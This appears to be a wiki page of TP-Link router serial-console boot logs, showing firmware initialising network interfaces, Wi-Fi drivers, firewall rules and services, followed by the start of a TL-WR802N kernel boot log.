Initializing USB Mass Storage driver...
usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.
add domain:tplinkwifi.net
add domain:tplinklogin.net
tp_domain init ok
/etc/init.d/rcS: line 78: telnetd: not found
L2TP core driver, V2.0
PPPoL2TP kernel driver, V2.0
Set: phy[0].reg[0] = 3900
Set: phy[1].reg[0] = 3900
Set: phy[2].reg[0] = 3900
Set: phy[3].reg[0] = 3900
Set: phy[4].reg[0] = 3900
Set: phy[0].reg[0] = 3300
Set: phy[1].reg[0] = 3300
Set: phy[2].reg[0] = 3300
Set: phy[3].reg[0] = 3300
Set: phy[4].reg[0] = 3300
resetMiiPortV over.
starting pid 778, tty '/dev/ttyS1': '/bin/sh'
~ # [ util_execSystem ] 139: ipt_init cmd is "/var/tmp/dconf/rc.router"

[ dm_readFile ] 2061: can not open xml file /var/tmp/pc/reduced_data_model.xml!, about to open file /etc/reduced_data_model.xml
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000
spiflash_ioctl_read, Read from 0x007c0000 length 0xad26, ret 0, retlen 0xad26
===>Enter Routerspiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6
mode
spiflash_ioctl_read, Read from 0x007df200 length 0x4, ret 0, retlen 0x4
spiflash_ioctl_read, Read from 0x007df300 length 0x4, ret 0, retlen 0x4
spiflash_ioctl_read, Read from 0x007df400 length 0x10, ret 0, retlen 0x10
spiflash_ioctl_read, Read from 0x007df500 length 0x29, ret 0, retlen 0x29
spiflash_ioctl_read, Read from 0x007df600 length 0x21, ret 0, retlen 0x21
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10
spiflash_ioctl_read, Read from 0x00020000 length 0x1d0, ret 0, retlen 0x1d0
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6
sendto: No such file or directory
pid 777 send 2001 error
[ util_execSystem ] 139: oal_startDynDns cmd is "dyndns /var/tmp/dconf/dyndns.conf"

[ oal_sys_getOldTZInfo ] 519: Open TZ file error!
[ util_execSystem ] 139: oal_sys_unsetTZ cmd is "echo "" > /etc/TZ"
[ util_execSystem ] 139: oal_startNoipDns cmd is "noipdns /var/tmp/dconf/noipdns.conf"
[ util_execSystem ] 139: oal_startCmxDns cmd is "cmxdns /var/tmp/dconf/cmxdns.conf"

ioctl: No such device
[ util_execSystem ] 139: oal_br_addBridge cmd is "brctl addbr br0;brctl setfd br0 0;brctl stp br0 off"
[ util_execSystem ] 139: oal_ipt_addLanRules cmd is "iptables -t filter -A INPUT -i br+ -j ACCEPT
[ util_execSystem ] 139: oal_intf_setIntf cmd is "ifconfig br0 192.168.1.1 netmask 255.255.255.0 up"
[ util_execSystem ] 139: oal_util_setProcLanAddr cmd is "echo "br0 16885952," > /proc/net/conRaeth v3.1 (ntract_LocalAddrNAPI

[ util_exec,SkbRecycleSystem ] 139: o)
al_intf_enableIn
phy_tx_ring = 0x0318b000, tx_ring = 0xa318b000
tf cmd is "ifcon
phy_rx_ring0 = 0x0318c000, rx_ring0 = 0xa318c000
fig eth0 up"

[fe_sw_init:5185]rt305x_esw_init.
disable switch phyport...
GMAC1_MAC_ADRH -- : 0x000098da
GMAC1_MAC_ADRL -- : 0xc46e00fc
RT305x_ESW: Link Status Changed
[ rsl_getUnusedVlan ] 1042: GET UNUSED VLAN TAG 1 : [3]
[ rsl_getUnusedVlan ] 1042: GET UNUSED VLAN TAG 2 : [4]
[ rsl_getUnusedVlan ] 1042: GET UNUSED VLAN TAG 3 : [5]
[ rsl_getUnusedVlan ] 1042: GET UNUSED VLAN TAG 4 : [6]
[ util_execSystem ] 139: oal_addVlanTagIntf cmd is "vconfig add eth0 3"
[ util_execSystem ] 139: oal_intf_enableIntf cmd is "ifconfig eth0.3 up"

set if eth0.3 to *not wan dev
[ util_execSystem ] 139: oal_addVlanTagIntf cmd is "vconfig add eth0 4"
[ util_execSystem ] 139: oal_intf_enableIntf cmd is "ifconfig eth0.4 up"

set if eth0.4 to *not wan dev
[ util_execSystem ] 139: oal_addVlanTagIntf cmd is "vconfig add eth0 5"
[ util_execSystem ] 139: oal_intf_enableIntf cmd is "ifconfig eth0.5 up"

set if eth0.5 to *not wan dev
[ util_execSystem ] 139: oal_addVlanTagIntf cmd is "vconfig add eth0 6"
[ util_execSystem ] 139: oal_intf_enableIntf cmd is "ifconfig eth0.6 up"

set if eth0.6 to *not wan dev
[ util_execSystem ] 139: oal_addVlanTagIntf cmd is "vconfig add eth0 2"
[ util_execSystem ] 139: oal_intf_enableIntdevice eth0.3 entered promiscuous mode
f cmd is "ifconfdevice eth0 entered promiscuous mode
ig eth0.2 up"
br0: port 1(eth0.3) entering forwarding state

set if eth0.2 tbr0: port 1(eth0.3) entering forwarding state
o wan dev
[ vlan_addLanPortsIntoBridge ] 574: add lan Port 255 from br0
[ utidevice eth0.4 entered promiscuous mode
l_execSystem ] 1br0: port 2(eth0.4) entering forwarding state
39: oal_br_addIbr0: port 2(eth0.4) entering forwarding state
ntfIntoBridge cmd is "brctl addif br0 eth0.3"
[ util_execSystem ] 139: oal_bdevice eth0.5 entered promiscuous mode
r_addIntfIntoBribr0: port 3(eth0.5) entering forwarding state
dge cmd is "brctbr0: port 3(eth0.5) entering forwarding state
l addif br0 eth0.4"
[ util_execSystem ] 139: oal_br_addIntfIntoBridge cmd isdevice eth0.6 entered promiscuous mode
"brctl addif brbr0: port 4(eth0.6) entering forwarding state
0 eth0.5"

[ ubr0: port 4(eth0.6) entering forwarding state
til_execSystem ] 139: oal_br_addIntfIntoBridge cmd is "brctl addif br0 eth0.6"
[ util_execSystem ] 139: rsl_initIPv6CfgObj cmd is "echo 1 > /proc/sys/net/ipv6/conf/all/disable_ipv6"
[ util_execSystem ] 139: oal_eth_setIGMPSnoopParam cmd is "for i in /sys/devices/virtual/net/*/bridge/multicast_snooping;do echo 1 > $i ; done"
[ util_execSystem ] 139: oal_wlan_ra_setCountryRegion cmd is "cp /etc/SingleSKU_CE.dat /var/Wireless/RT2860AP/SingleSKU.dat"
[ util_execSystem ] 139: oal_wlan_ra_setCountryRegion cmd is "iwpriv ra0 set CountryRegion=1"

ra0 no private ioctls.
[ util_execSystem ] 166: execute ok, exit status = 255
[ util_execSystem ] 139: oal_wlan_ra_loadDriver cmd is "insmod /lib/modules/kmdir/kernel/drivers/net/wireless/mt_wifi_ap/mt_wifi.ko"

ADDRCONF(NETDEV_CHANGE): eth0.4: link becomes ready
ADDRCONF(NETDEV_CHANGE): eth0.5: link becomes ready
ADDRCONF(NETDEV_CHANGE): eth0.6: link becomes ready
ADDRCONF(NETDEV_CHANGE): eth0.2: link becomes ready

=== pAd = c0988000, size = 1493064 ===

<-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x
<-- RTMPAllocAdapterBlock, Status=0
RtmpChipOpsHook(492): Not support for HIF_MT yet!
mt7628_init()-->
mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))
e2.bin mt7628_init(1156)::(2), pChipCap->fw_len(64560)
mt_bcn_buf_init(218): Not support for HIF_MT yet!
<--mt7628_init()
[ util_execSystem ] 139: oal_wlan_ra_initWlan cmd is "ifconfig ra0 up"

TX_BCN DESC a277c000 size = 320
RX[0] DESC a2780000 size = 2048
RX[1] DESC a2781000 size = 2048
RT_CfgSetApcliMacAddress : invalid mac setting
cfg_mode=9
cfg_mode=9
wmode_band_equal(): Band Equal!
AndesSendCmdMsg: Could not send in band command due to diable fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD
APSDCapable[0]=0
APSDCapable[1]=0
APSDCapable[2]=0
APSDCapable[3]=0
APSDCapable[4]=0
APSDCapable[5]=0
APSDCapable[6]=0
APSDCapable[7]=0
APSDCapable[8]=0
APSDCapable[9]=0
APSDCapable[10]=0
APSDCapable[11]=0
APSDCapable[12]=0
APSDCapable[13]=0
APSDCapable[14]=0
APSDCapable[15]=0
default ApCliAPSDCapable[0]=0
Key1Str is Invalid key length(0) or Type(0)
Key1Str is Invalid key length(0) or Type(0)
Key2Str is Invalid key length(0) or Type(0)
Key2Str is Invalid key length(0) or Type(0)
Key3Str is Invalid key length(0) or Type(0)
Key3Str is Invalid key length(0) or Type(0)
Key4Str is Invalid key length(0) or Type(0)
Key4Str is Invalid key length(0) or Type(0)
WscKeyASCII=8
WscKeyASCII=8
[RTMPReadParametersHook:297]wifi read profile faild.
load fw image from fw_header_image
AndesMTLoadFwMethod1(2263)::pChipCap->fw_len(64560)
FW Version:1
FW Build Date:20161213152835
CmdAddressLenReq:(ret = 0)
CmdFwStartReq: override = 1, address = 1048576
CmdStartDLRsp: WiFI FW Download Success
MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)
efuse_probe: efuse = 10000002
RtmpChipOpsEepromHook::e2p_type=2, inf_Type=4
RtmpEepromGetDefault::e2p_dafault=2
RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 2
NVM is FLASH mode
1. Phy Mode = 14
exec!
spiflash_ioctl_read, Read from 0x007f0000 length 0x400, ret 0, retlen 0x400
eeFlashId = 0x7628!
Country Region from e2p = ffff
tssi_1_target_pwr_g_band = 32
2. Phy Mode = 14
3. Phy Mode = 14
NICInitPwrPinCfg(11): Not support for HIF_MT yet!
NICInitializeAsic(651): Not support rtmp_mac_sys_reset () for HIF_MT yet!
mt_mac_init()-->
MtAsicInitMac()-->
mt7628_init_mac_cr()-->
MtAsicSetMacMaxLen(1277): Set the Max RxPktLen=450!
<--mt_mac_init()
WTBL Segment 1 info:
MemBaseAddr/FID:0x28000/0
EntrySize/Cnt:32/128
WTBL Segment 2 info:
MemBaseAddr/FID:0x40000/0
EntrySize/Cnt:64/128
WTBL Segment 3 info:
MemBaseAddr/FID:0x42000/64
EntrySize/Cnt:64/128
WTBL Segment 4 info:
MemBaseAddr/FID:0x44000/128
EntrySize/Cnt:32/128
AntCfgInit(2946): Not support for HIF_MT yet!
MCS Set = ff ff 00 00 01
MtAsicSetChBusyStat(861): Not support for HIF_MT yet!
[PMF]ap_pmf_init:: apidx=0, MFPC=0, MFPR=0, SHA256=0
[PMF]RTMPMakeRsnIeCap: RSNIE Capability MFPC=0, MFPR=0
[PMF]ap_pmf_init:: apidx=1, MFPC=0, MFPR=0, SHA256=0
MtAsicSetRalinkBurstMode(3048): Not support for HIF_MT yet!
MtAsicSetPiggyBack(796): Not support for HIF_MT yet!
FW LOG: !!!! Pass, dont need recal (total fail[0])

reload DPD from flash , 0x9F = [ca00] doReload bit7[0]
CmdLoadDPDDataFromFlash: Channel = 11, DoReload = 0
MtAsicSetTxPreamble(3027): Not support for HIF_MT yet!
CmdSlotTimeSet:(ret = 0)
MtAsicAddSharedKeyEntry(1344): Not support for HIF_MT yet!
MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0
ap_ftkd> Initialize FT KDP Module...
Main bssid = 98:da:c4:6e:00:fc
<==== rt28xx_init, Status=0
@@@ ed_monitor_init : ===>
@@@ ed_monitor_init : <===
mt7628_set_ed_cca: TURN ON EDCCA mac 0x10618 = 0xd7c87d0f, EDCCA_Status=1
WiFi Startup Cost (ra0): 0.748s
[ util_execSystem ] 139: oal_wlan_ra_initWlan cmd is "echo 1 > /proc/tplink/led_wlan_24G"
[ util_execSystem ] 139: oal_wlan_ra_setStaNum cmd is "iwpriv ra0 set MaxStaNum=32"
[ util_execSystem ] 139: device ra0 entered promiscuous mode
oal_br_addIntfInbr0: port 5(ra0) entering forwarding state
toBridge cmd is br0: port 5(ra0) entering forwarding state
"brctl addif br0 ra0"
[ util_execSystem ] 139: oal_br_addIntfIntoBridge cmd device apcli0 entered promiscuous mode
is "brctl addif br0 apcli0"
[ util_execSystem ] 139: oal_br_addIntfIntoBridgdevice ra1 entered promiscuous mode
e cmd is "brctl addif br0 ra1"

[ util_execSyste
====
@@@ ed_status_read: EDCCA TH - H
pAd->ed_trigger_cnt : 0 > 20 || pAd->ed_big_rssi_stat : 0 < 50
====
m ] 139: oal_wlan_ra_initEnd cmd is "wlNetlinkTspiflash_ioctl_read, Read from 0x007f0000 length 0x2, ret 0, retlen 0x2
ool &"
[ util_execSystem ] 139: oal_wlan_ra_initEnd cmd is "killall -q wscd"
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_wlan_ra_initEnd cmd is "wscd -i ra0 -m 1 -w /var/tmp/wsc_upnp/ &"
[ util_execSystem ] 139: rsl_initLanWlanObj cmd is "echo 0 > /proc/tplink/wl_mode"
[ util_execSystem ] 139: oal_wlan_ra_setCountryRegion cmd is "cp /etc/SingleSKU_5G_CE.dat /var/Wireless/RT2860AP/SingleSKU_5G.dat"

WLAN-Start wlNetlinkTool
Waiting for Wireless Events from interfaces...
swWlanChkAhbErr: netlink to do
[ util_execSystem ] 139: oal_wlan_ra_setCountryRegion cmd is "iwpriv rai0 set CountryRegionABand=1"

rai0 no private ioctls.
[ util_execSystem ] 166: execute ok, exit status = 255
[ util_execSystem ] 139: oal_wlan_ra_loadDriver cmd is "insmod /lib/modules/kmdir/kernel/drivers/net/wireless/MT7610_ap/MT7610_ap.ko"

wscd: SSDP UDP PORT = 1900

=== pAd = c1002000, size = 1368440 ===

<-- RTMPAllocTxRxRingMemory, Status=0
<-- RTMPAllocAdapterBlock, Status=0
device_id =0x7650
Read eeprom data from flash into memory!
spiflash_ioctl_read, Read from 0x007f8000 length 0x200, ret 0, retlen 0x200
==>MT76x0_WLAN_ChipOnOff(): OnOff:1, pAd->WlanFunCtrl:0x0, Reg-WlanFunCtrl=0xff000002
MACVersion = 0x76502000
[ util_execSystem ] 139: oal_wlan_ra_initWlan cmd is "ifconfig rai0 up"

load fw spent 16ms
RX DESC a2078000 size = 4096
RX1 DESC a2079000 size = 4096
cfg_mode=14
cfg_mode=14
wmode_band_equal(): Band Not Equal!
1. Phy Mode = 49
2. Phy Mode = 49
ERROR!!! E2PROM: WRONG VERSION 0x2, should be 1
ext_pa_current_setting = 1
MT76x0_TssiTableAdjust: upper_bound = 0x7F decimal: 127
MT76x0_TssiTableAdjust: lower_bound = 0xFFFFFF80 decimal: -128
*** MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -15 -8 -3 * 0 * 2 12 21 127 127 127 127, offset=-10, tuning=1
MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -25 -18 -13 * -10 * -8 2 11 117 117 117 117, offset=-10, tuning=1
mp_temperature=0xfffffff6, step = +0
MT76x0_TssiTableAdjust: upper_bound = 0x7F decimal: 127
MT76x0_TssiTableAdjust: lower_bound = 0xFFFFFF80 decimal: -128
*** MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -18 -11 -4 * -10 * 2 21 127 127 127 127 127, offset=-10, tuning=1
MT76x0_TssiTableAdjust: A Tssi[-7 .. +7] = -128 -128 -128 -128 -28 -21 -14 * -10 * -8 11 117 117 117 117 117, offset=-10, tuning=1
mp_temperature=0xfffffff6, step = +0
3. Phy Mode = 49
AntCfgInit: primary/secondary ant 0/1
ChipStructAssign(): RALINK6590 hook !
bAutoTxAgcG = 1
MCS Set = ff 00 00 00 01
MT76x0_ChipBBPAdjust():rf_bw=2, ext_ch=1, PrimCh=36, HT-CentCh=38, VHT-CentCh=42
APStartUp(): AP Set CentralFreq at 42(Prim=36, HT-CentCh=38, VHT-CentCh=42, BBP_BW=2)
@@@ ed_monitor_init : ===>
@@@ ed_monitor_init : <===
Main bssid = 98:da:c4:6e:00:fb
<==== rt28xx_init, Status=0
0x1300 = 00064300
RTMPDrvOpen(1):Check if PDMA is idle!
RTMPDrvOpen(2):Check if PDMA is idle!
[ util_execSystem ] 139: oal_wlan_ra_initWlan cmd is "echo 1 > /proc/tplink/led_wlan_5G"
[ util_execSystem ] 139: oal_wlan_ra_setStaNum cmd is "iwpriv rai0 set MaxStaNum=32"
[ util_execSystem ] 139: device rai0 entered promiscuous mode
oal_br_addIntfInbr0: port 8(rai0) entering forwarding state
toBridge cmd is br0: port 8(rai0) entering forwarding state
"brctl addif br0 rai0"
[ util_execSystem ] 139: oal_br_addIntfIntoBridge cmddevice apclii0 entered promiscuous mode
is "brctl addif br0 apclii0"
[ util_execSystem ] 139: oal_br_addIntfIntoBridevice rai1 entered promiscuous mode
dge cmd is "brctl addif br0 rai1"

wlNetlinkTool isspiflash_ioctl_read, Read from 0x007f8000 length 0x2, ret 0, retlen 0x2
already there.
[ util_execSystem ] 139: oal_wlan_ra_initEnd cmd is "killall -q wscd_5G"
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_wlan_ra_initEnd cmd is "wscd_5G -i rai0 -m 1 -w /var/tmp/wsc_upnp_5G/ &"
[ util_execSystem ] 139: rsl_initLanWlanObj cmd is "echo 0 > /proc/tplink/wl_mode"

wscd: SSDP UDP PORT = 1900
sendto: No such file or directory
pid 777 send 2030 error
sendto: No such file or directory
pid 777 send 2004 error
[ util_execSystem ] 139: oal_startDhcps cmd is "dhcpd /var/tmp/dconf/udhcpd.conf"
[ util_execSystem ] 139: oal_lan6_startDhcp6s cmd is "dhcp6s -c /var/tmp/dconf/dhcp6s_br0.conf -P /var/run/dhcp6s_br0.pid br0 &"
[ util_execSystem ] 139: oal_lan6_startRadvd cmd is "radvd -C /var/tmp/dconf/radvd_br0.conf -p /var/run/radvd_br0.pid &"
[ util_execSystem ] 139: oal_br_delIntfFromBridge cmd is "brctl delif br0 eth0.2"

mldProxy# file: src/mld_ifinfo.c;line: 102; error = No such file or directory
mldProxy# Err: get LLA failed
iptables: Bad rule (does a matching rule exist in that chain?).
brctl: bridge br0: Invalid argument
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_intf_setIfMac cmd is "ifconfig eth0.2 down"
[ util_execSystem ] 139: oal_intf_setIfMac cmd is "ifconfig eth0.2 hw ether 98:DA:C4:6E:00:FD up"
[ util_execSystem ] 139: oal_intf_enableIntf cmd is "ifconfig eth0.2 up"

radvd starting
[Jan 01 00:00:09] radvd: no linklocal address configured for br0
[Jan 01 00:00:09] radvd: error parsing or activating the config file: /var/tmp/dconf/radvd_br0.conf
[ rsl_initAppObj ] 787: ==> start dhcp client
[ util_execSystem ] 139: oal_rip_updateConfig cmd is "rm -f /var/tmp/dconf/zebra.conf"
[ util_execSystem ] 139: oal_rip_updateConfig cmd is "rm -f /var/tmp/dconf/ripd.conf"
[ util_execSystem ] 139: removeAllRIPIpTableRule cmd is "iptables -L INPUT -v --line-numbers > /var/iptable"

[ getPidFromPidFile ] 112: Cann't open file: /var/run/zebra.pid.
[ util_execSystem ] 139: controlRipProcess cmd is "zebra -d -f /var/tmp/dconf/zebra.conf"

[ getPidFromPidFile ] 112: Cann't open file: /var/run/ripd.pid.
[ util_execSystem ] 139: oal_ipt_fwDdos cmd is "iptables -D FORWARD -j FIREWALL_DDOS
"

iptables: No chain/target/match by that name.
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_ipt_forbidLanPing cmd is "iptables -t filter -D INPUT -i br+ -p icmp --icmp-type echo-request -j DROP
iptables -t filter -D FORWARD -i br+ -p icmp --icmp-type echo-request -j DROP
"

iptables: Bad rule (does a matching rule exist in that chain?).
iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_ddos_delPingRule cmd is "iptables -t filter -D INPUT ! -i br+ -p icmp --icmp-type echo-request -j ACCEPT
"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_ipt_setDDoSRules cmd is "iptables -F FIREWALL_DDOS"
[ util_execSystem ] 139: ddos_clearAll cmd is "rm -f /var/tmp/dosHost"
[ util_execSystem ] 139: oal_initFirewallObj cmd is "ebtables -N FIREWALL"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -F"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -X"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -P INPUT ACCEPT"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -P FORWARD DROP"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -P OUTPUT ACCEPT"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -N FIREWALL"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -N FWRULE"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -N SETMSS"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -i lo -p ALL -j ACCEPT -m comment --comment "loop back""
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -i br+ -p tcp --dport 23 -j ACCEPT"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -p tcp --dport 23 -j DROP"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -i br+ -p icmpv6 --icmpv6-type echo-request -j ACCEPT"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request -j DROP"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A FORWARD -i br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A FORWARD -o br+ -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -A FORWARD -j FIREWALL"
[ util_execSystem ] 139: oal_initIp6FirewallObj cmd is "ip6tables -I FORWARD 1 -j SETMSS"
[ util_execSystem ] 139: oal_fw6_setFwEnabeld cmd is "ip6tables -D FIREWALL -j ACCEPT"

ip6tables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_fw6_setFwEnabeld cmd is "ip6tables -F FIREWALL"
[ util_execSystem ] 139: oal_fw6_setFwEnabeld cmd is "ip6tables -A FIREWALL -j ACCEPT"

[ rsl_setStorageServiceObj ] 1024: mountFlag is 3,We start usb server
[ util_execSystem ] 139: oal_killDlnaMediaSeverProcess cmd is "killall ushare"

killall: ushare: no process killed
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_sys_unsetTZ cmd is "echo "" > /etc/TZ"

uShare (version 1.1a), a lightweight UPnP A/V and DLNA Media Server.
Benjamin Zores (C) 2005-2007, for GeeXboX Team.
See http://ushare.geexbox.org/ for updates.
[ util_execSystem ] 139: oal_ipt_setWanPort cmd is "iptables -t filter -D INPUT -p tcp --dport 21 -j ACCEPT"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_ipt_setWanPort cmd is "iptables -t nat -D PREROUTING -p tcp --dport 21 -j ACCEPT"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_startSamba cmd is "smbd -D"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_ftp.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_ftp.ko"
[ util_execSystem ] 139: oal_openAlg cmd is "iptables -D FORWARD_VPN_PASSTHROUGH -p udp --dport 500 -j DROP"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_proto_gre.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_pptp.ko"
[ util_execSystem ] 139: oal_openAlg cmd is "iptables -D FORWARD_VPN_PASSTHROUGH -p tcp --dport 1723 -j DROP"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: oal_openAlg cmd is "iptables -D FORWARD_VPN_PASSTHROUGH -p udp --dport 1701 -j DROP"

iptables: Bad rule (does a matching rule exist in that chain?).
[ util_execSystem ] 166: execute ok, exit status = 1
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_tftp.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_tftp.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_h323.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_h323.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_sip.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_sip.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/netfilter/nf_conntrack_rtsp.ko"
[ util_execSystem ] 139: setupModules cmd is "insmod /lib/modules/kmdir/kernel/net/ipv4/netfilter/nf_nat_rtsp.ko"

nf_nat_rtsp v0.6.21 loading
gpiomode1 55144444.
gpiomode2 00000445.
enable switch phyport...
Set: phy[0].reg[0] = 3900
[cmd_dutInit():1059] init shm
[tddp_taskEntry():151] tddp task start
Set: phy[1].reg[0] = 3900
Set: phy[2].reg[0] = 3900
Set: phy[3].reg[0] = 3900
Set: phy[4].reg[0] = 3900
Set: phy[0].reg[0] = 3300
Set: phy[1].reg[0] = 3300
Set: phy[2].reg[0] = 3300
Set: phy[3].reg[0] = 3300
Set: phy[4].reg[0] = 3300
resetMiiPortV over.
[ util_execSystem ] 139: prepareDropbear cmd is "dropbearkey -t rsa -f /var/tmp/dropbear/dropbear_rsa_host_key"

Will output 1024 bit rsa secret key to '/var/tmp/dropbear/dropbear_rsa_host_key'
Generating key, this may take a while...
[ util_execSystem ] 139: prepareDropbear cmd is "dropbearkey -t dss -f /var/tmp/dropbear/dropbear_dss_host_key"

Will output 1024 bit dss secret key to '/var/tmp/dropbear/dropbear_dss_host_key'
Generating key, this may take a while...
[ util_execSystem ] 139: prepareDropbear cmd is "dropbear -p 22 -r /var/tmp/dropbear/dropbear_rsa_host_key -d /var/tmp/dropbear/dropbear_dss_host_key -A /var/tmp/dropbear/dropbearpwd"

~ #
</nowiki>
</div>
</div>
</div>

<div class="toccolours mw-collapsible mw-collapsed" style="border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;">
<div style="line-height:1.6;">ⓘ <b>TL-WR802N</b>: Wireless N - Nano Router</div>
<div class="mw-collapsible-content">
<div style="font-size: 12px !important">
115200 (8N1)
<nowiki>Linux version 2.6.36 (jenkins@mobile-System) (gcc version 4.6.3 (Buildroot 2012.11.1) ) #1 Sun Apr 28 17:33:31 CST 2019

The CPU feqenuce set to 575 MHz

MIPS CPU sleep mode enabled.
CPU revision is: 00019655 (MIPS 24Kc)
Software DMA cache coherency
Determined physical RAM map:
memory: 04000000 @ 00000000 (usable)
Initrd not found or empty - disabling initrd
Zone PFN ranges:
Normal 0x00000000 -> 0x00004000
Movable zone start PFN for each node
early_node_map[1] active PFN ranges
0: 0x00000000 -> 0x00004000
Built 1 zonelists in Zone order, mobility grouping on. Total pages: 16256
Kernel command line: console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init
PID hash table entries: 256 (order: -2, 1024 bytes)
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)
Primary instruction cache 64kB, VIPT, , 4-waylinesize 32 bytes.
Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes
Writing ErrCtl register=0005e136
Readback ErrCtl register=0005e136
Memory: 61424k/65536k available (2414k kernel code, 4112k reserved, 636k data, 160k init, 0k highmem)
NR_IRQS:128
console [ttyS1] enabled
Calibrating delay loop... 386.04 BogoMIPS (lpj=772096)
pid_max: default: 4096 minimum: 301
Mount-cache hash table entries: 512
NET: Registered protocol family 16
bio: create slab <bio-0> at 0
Switching to clocksource Ralink Systick timer
NET: Registered protocol family 2
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)
TCP established hash table entries: 2048 (order: 2, 16384 bytes)
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)
TCP: Hash tables configured (established 2048 bind 2048)
TCP reno registered
NET: Registered protocol family 1
squashfs: version 4.0 (2009/01/31) Phillip Lougher
fuse init (API version 7.15)
msgmni has been set to 119
io scheduler noop registered
io scheduler deadline registered (default)
Ralink gpio driver initialized
i2cdrv_major = 218
Serial: 8250/16550 driver, 2 ports, IRQ sharing enabled
serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A
serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A
brd: module loaded
flash manufacture id: ef, device id 40 17
W25Q64BV(ef 40170000) (8192 Kbytes)
mtd .name = raspi, .size = 0x00800000 (8M) .erasesize = 0x00010000 (64K) .numeraseregions = 0
Creating 7 MTD partitions on "raspi":
